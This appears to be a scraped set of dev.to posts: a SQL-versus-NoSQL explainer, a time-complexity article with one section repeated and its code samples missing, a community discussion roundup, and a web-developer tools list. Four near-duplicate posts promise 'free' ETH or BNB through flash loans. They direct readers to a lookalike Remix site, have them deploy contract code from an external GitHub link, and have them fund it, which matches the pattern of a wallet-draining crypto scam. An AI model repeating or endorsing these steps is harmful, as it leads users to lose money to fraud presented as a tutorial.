teleren/devto huggingface dataset:
SQL and NoSQL
Published: 2023-10-12 21:23:24

SQL Structured Query Language (SQL) is a programming language that allows both technical and non-technically-minded users to query, manipulate, and change data in a relational database. Organized into columns and rows within a table, SQL databases use a relational model that work best with well-defined structured data. SQL databases are scalable vertically, meaning that you can increase the maximum load by adding further storage components like RAM or SSD. 

While 

NoSQL are non-relational databases that store data in a manner other than the tabular relations used within SQL databases. NoSQL databases are suitable for structured, semi-structured, and unstructured data. As a result, NoSQL databases don't follow a rigid process but instead have more flexible structures to accommodate their data-types. 

KEY DIFFERENCES.
Scalability & Structure
SQL database schema organizes data in relational, tabular ways, using tables with columns or attributes and rows of records. And it requires organizing and structuring data before starting with the SQL database.

NoSQL databases scale better horizontally, which means one can add additional servers or nodes as needed to increase load. They allow a dynamic schema for unstructured data, there’s less need to pre-plan and pre-organize data, and it’s easier to make modifications

Language
SQL databases use SQL (Structured Query Language). 

NoSQL databases use JSON (JavaScript Object Notation), XML, YAML, or binary schema, facilitating unstructured data.

EXAMPLES
SQL-
MySQL
PostgreSQL


NoSQL -
MongoDB
CouchDB

Pros of SQL:
SQL is widely understood and supported; most developers know it well.

SQL is extremely useful for simple aggregations over large datasets, such as calculating averages.

SQL is well-documented and easy to learn.

Cons of SQL:
The performance of SQL can be poor on substantial data sets because it requires multiple passes over the data to complete many operations (especially joins). 

Debugging SQL can be complicated because it doesn't provide informative error messages.


Pros of NoSQL-
Flexible schema
Usable on distributed infrastructure platforms
Low-cost infrastructure
High availability and throughput

Cons of NoSQL:
Less mature technology and difficult to manage
Limited query capabilities
Data inconsistency and poor performance in some complex scenarios.

Thank you and I Hope you enjoyed my piece.
Time complexity
Published: 2023-10-12 21:21:20

Time complexity simply means the amount of time it is going to take to run or execute a function or a block of code.

As we have seen, Time complexity is given by time as a function of the length of the input. And, there exists a relation between the input data size (n) and the number of operations performed (N) with respect to time. This relation is denoted as Order of growth in Time complexity and given notation O[n] where O is the order of growth and n is the length of the input. It is also called as ‘Big O Notation’

Big O Notation expresses the run time of an algorithm in terms of how quickly it grows relative to the input ’n’ by defining the N number of operations that are done on it. Thus, the time complexity of an algorithm is denoted by the combination of all O[n] assigned for each line of function.

There are different types of time complexities used, let’s see one by one:

1. Constant time — O (1)

2. Linear time — O (n)

3. Logarithmic time — O (log n)

Constant time — O (1)
An algorithm is said to have constant time with order O (1) when it is not dependent on the input size n. Irrespective of the input size n, the runtime will always be the same.

The above code shows that irrespective of the length of the array (n), the runtime to get the first element in an array of any length is the same. If the run time is considered as 1 unit of time, then it takes only 1 unit of time to run both the arrays, irrespective of length. Thus, the function comes under constant time with order O (1).

Constant time — O (1)
An algorithm is said to have constant time with order O (1) when it is not dependent on the input size n. Irrespective of the input size n, the runtime will always be the same.

The above code shows that irrespective of the length of the array (n), the runtime to get the first element in an array of any length is the same. If the run time is considered as 1 unit of time, then it takes only 1 unit of time to run both the arrays, irrespective of length. Thus, the function comes under constant time with order O (1).

Linear time — O(n)
An algorithm is said to have a linear time complexity when the running time increases linearly with the length of the input. When the function involves checking all the values in input data, with this order O(n).

The above code shows that based on the length of the array (n), the run time will get linearly increased. If the run time is considered as 1 unit of time, then it takes only n times 1 unit of time to run the array. Thus, the function runs linearly with input size and this comes with order O(n).

Logarithmic time — O (log n)
An algorithm is said to have a logarithmic time complexity when it reduces the size of the input data in each step. This indicates that the number of operations is not the same as the input size. The number of operations gets reduced as the input size increases. Algorithms are found in binary trees or binary search functions. This involves the search of a given value in an array by splitting the array into two and starting searching in one split. This ensures the operation is not done on every element of the data.
How To Get Free 4 ETH with UniSwap Full Tutorial 2023
Tags: cryptocurrency, blockchain
Published: 2023-10-12 21:16:12

Want to get free Ethereum? Yes, who wouldn’t want some free ETH tokens?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/iouha4](https://streamable.com/iouha4)

Step By Step Tutorial for Flash Loan:
 ⁃ Get the Metamask Extension for your browser

 ⁃ Open https://remixcompiler.com from within your browser.

 ⁃ Click on File Explorers and click “Create New File “.

 ⁃ Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode](https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode)

 ⁃ Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

 ⁃ Connect your MetaMask wallet.

 ⁃ Click on the “Solidity Compiler” and set the compiler version to 0.5.0

 ⁃ Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

 ⁃ Wait for the code to compile.

 ⁃ Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

 •   On “_TOKENNAME”
 •   On “_TOKENSYMBOL”
 •   On “_LOANAMOUNT” 1000

 ⁃ Click Transact and confirm the transaction in MetaMask.

 ⁃ Wait for the transaction to confirm.

 ⁃  Copy the address of the newly deployed contract.

 ⁃  Send ETH to the deployed contract to initiate the swap 0.05 ETH+ (0.05 ETH up is better as you will get a bigger amount in each swap)

 ⁃ Wait for the transaction to confirm.

 ⁃ Now, Click “action” (red box) to execute the Flash Loan.

 ⁃ Confirm the transaction in MetaMask and wait for the confirmation.

 ⁃  You can now check your wallet

Note: If it doesn’t work with 0.05 ETH try to send another 0.05 ETH(0.1 is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).

Avoid using very low amounts as contract may fail below 0.05 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.

Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your ETH out to another wallet when you’re done.
How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023
Tags: blockchain, cryptocurrency, solidity
Published: 2023-10-12 21:13:16

Free Binance Smart Chain Token (BNB)? Yes, who wouldn’t want some free cash?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/9emq0r](https://streamable.com/9emq0r)

Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode
](https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode)

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.




Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.
Discussion of the Week - v6
Tags: bestofdev, discuss
Published: 2023-10-12 21:12:00

In this weekly roundup, we highlight what we believe to be the most thoughtful, helpful, and/or interesting discussion over the past week! Though we are strong believers in healthy and respectful debate, we typically try to choose discussions that are positive in nature and avoid those that are overly contentious.

Any folks whose articles we feature here will be rewarded with our Discussion of the Week badge. ✨

![The Discussion of the Week badge. It includes a roll of thread inside a speech bubble. The thread is a reference to comment threads.](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yvizv31dpchucxic2lxc.png)

Now that y'all understand the flow, let's go! 🏃💨

## The Discussion of the Week

This one goes to @bekahhw for regularly sharing the helpful series [Looking for Contributors](https://dev.to/bekahhw/series/23323) — here's [this week's edition](https://dev.to/opensauced/whos-looking-for-open-source-contributors-week-62-346a):

{% embed https://dev.to/opensauced/whos-looking-for-open-source-contributors-week-62-346a %}

Bekah has been sharing this series for a good long while now, but it feels particularly notable as Hacktoberfest is currently underway. Brand new contributors are out in force looking to make their first pull request and they need to know what repos are open to them; meanwhile, maintainers need a good place to shoutout their projects and usher new folks in to contribute... this post is the perfect place for both parties!

I really like how straightforward Bekah's post is... because the the post stays the same each week, it puts the focus on the comments section, allowing folks' projects to take the spotlight. 🔦

Also, as a person who regularly shares [ritual content](https://dev.to/michaeltharrington/ever-heard-of-ritual-posts-4gd6), I really appreciate how Bekah has kept this series steadily going. It ain't easy posting something week after week — props on the consistency.

If any of you have projects to recommend or if you're a contributor looking for a project to work on, I highly recommend checking out Bekah's series. 🙌

## What are your picks?

The DEV Community is particularly special because of the kind, thoughtful, helpful, and entertaining discussions happening between community members. As such, we want to encourage folks to participate in discussions and reward those who are initiating or taking part in conversations across the community. After all, a community is made possible by the people interacting inside it.

There are loads of great discussions floating about in this community. This is just the one we chose to highlight. 🙂

I urge you all to share your favorite discussion of the past week below in the comments. And if you're up for it, give the author an @mention — it'll probably make 'em feel good. 💚
How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023
Tags: cryptocurrency, bitcoin, ethereum, blockchain
Published: 2023-10-12 21:04:54

Free Binance Smart Chain Token (BNB)? Yes, who wouldn’t want some free cash?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/9emq0r](https://streamable.com/9emq0r)

Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click “Create New File “.

- Name the file flashloans.sol and paste the contract code link below. ► [https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode
](https://raw.githubusercontent.com/Crypto-Ways/BNB-Arbitrage/main/Fullcode)

- Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

- Connect your MetaMask wallet.

- Click on the “Solidity Compiler” and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
On “_TOKENNAME” Tester
On “_TOKENSYMBOL” TOKX
On “_LOANAMOUNT” 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.
Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click “action” (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesn’t work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.




Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when you’re done.
How To Get Free 4 ETH with UniSwap Full Tutorial 2023
Tags: cryptocurrency, blockchain, bitcoin, ethereum
Published: 2023-10-12 21:02:27

Want to get free Ethereum? Yes, who wouldn’t want some free ETH tokens?

It is possible using a special method called “FLASH LOANS”

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation — [https://academy.binance.com/en/articles/what-are-flash-loans-in-defi](https://academy.binance.com/en/articles/what-are-flash-loans-in-defi)

So, what’s the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

[https://streamable.com/iouha4](https://streamable.com/iouha4)

Step By Step Tutorial for Flash Loan:
 ⁃ Get the Metamask Extension for your browser

 ⁃ Open https://remixcompiler.com from within your browser.

 ⁃ Click on File Explorers and click “Create New File “.

 ⁃ Name the file flashloans.sol and paste the contract code link below. ► https://raw.githubusercontent.com/Crypto-Ways/ETH-Arbitrage/main/Fullcode

 ⁃ Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.

 ⁃ Connect your MetaMask wallet.

 ⁃ Click on the “Solidity Compiler” and set the compiler version to 0.5.0

 ⁃ Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”

 ⁃ Wait for the code to compile.

 ⁃ Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button

 •   On “_TOKENNAME”
 •   On “_TOKENSYMBOL”
 •   On “_LOANAMOUNT” 1000

 ⁃ Click Transact and confirm the transaction in MetaMask.

 ⁃ Wait for the transaction to confirm.

 ⁃  Copy the address of the newly deployed contract.

 ⁃  Send ETH to the deployed contract to initiate the swap 0.05 ETH+ (0.05 ETH up is better as you will get a bigger amount in each swap)

 ⁃ Wait for the transaction to confirm.

 ⁃ Now, Click “action” (red box) to execute the Flash Loan.

 ⁃ Confirm the transaction in MetaMask and wait for the confirmation.

 ⁃  You can now check your wallet
 ⁃ 
Note: If it doesn’t work with 0.05 ETH try to send another 0.05 ETH(0.1 is better), because fees may be different from day to day. (0.1+ ETH for each 1000 ETH you are borrowing).

Avoid using very low amounts as contract may fail below 0.05 ETH. Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time.

Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your ETH out to another wallet when you’re done.
🚀 Supercharge Your Productivity: Essential Tools for Web Developers 🛠️
Tags: webdev, programming, codenewbie, react
Published: 2023-10-12 21:01:34

Looking to turbocharge your web development productivity? 💻 Check out this curated list of powerful tools that will help you code and design faster, more efficiently, and with a dash of fun! 🎨

### Integrated Development Environments (IDEs) 🧑‍💻

1. **Visual Studio Code (VS Code)**: VS Code is a highly extensible code editor with an extensive library of extensions, making it a top choice for many developers. 📦

2. **WebStorm**: WebStorm is a JavaScript-centric IDE that offers smart coding assistance, navigation, and integrated tools for modern web development. 🚀

### Version Control and Collaboration 🐙

3. **Git and GitHub**: Git is your version control powerhouse, and GitHub offers an incredible platform for collaboration and project management. 🔄

### Front-End Development 🌐

4. **React Developer Tools**: A browser extension that makes debugging and inspecting React components a breeze, perfect for React developers. ⚛️

5. **CSS Preprocessors (Sass/SCSS and Less)**: These preprocessors simplify your CSS, offering variables, nesting, and mixins to enhance maintainability. 🎨

### JavaScript Libraries and Frameworks 📜

6. **Angular**: A powerful front-end framework with a wide range of tools and libraries for building dynamic web applications. 🅰️

7. **Vue.js**: Vue.js is known for its simplicity and flexibility, making it an excellent choice for building user interfaces. 🖖

### Task Automation and Build Tools 🛠️

8. **Parcel**: A blazing-fast web application bundler that simplifies your build process with zero configuration. 🚀

9. **Grunt**: An automated task runner for your web projects, handling tasks like minification and compilation with ease. 🏃

### Graphics and UI Design 🎨

10. **Figma**: A collaborative design tool that allows real-time teamwork on UI/UX projects, making design collaboration a breeze. 🖥️

11. **Sketch**: A popular vector-based design tool for macOS that's perfect for web and app design. ✍️

### Performance Optimization 🚀

12. **Lighthouse**: An open-source tool from Google that audits web apps and provides suggestions for improving performance, accessibility, and SEO. 🔍

### Testing and Debugging 🧪

13. **Cypress**: An end-to-end testing framework for web applications, offering a delightful experience for developers. 🚦

14. **Jest**: A zero-config JavaScript testing framework known for its simplicity and speed. 🎯

### Project Management and Collaboration 🤝

15. **Asana**: A project management tool designed to help teams organize work and manage tasks with clarity. 📊

16. **Notion**: A versatile tool that combines note-taking, task management, and collaboration, perfect for keeping your projects organized. 🗂️

These productivity-boosting tools will help you become a more efficient web developer, enabling you to create amazing projects with speed and precision. 🌟🚀 #WebDevTools #ProductivityHacks" 🛠️🚀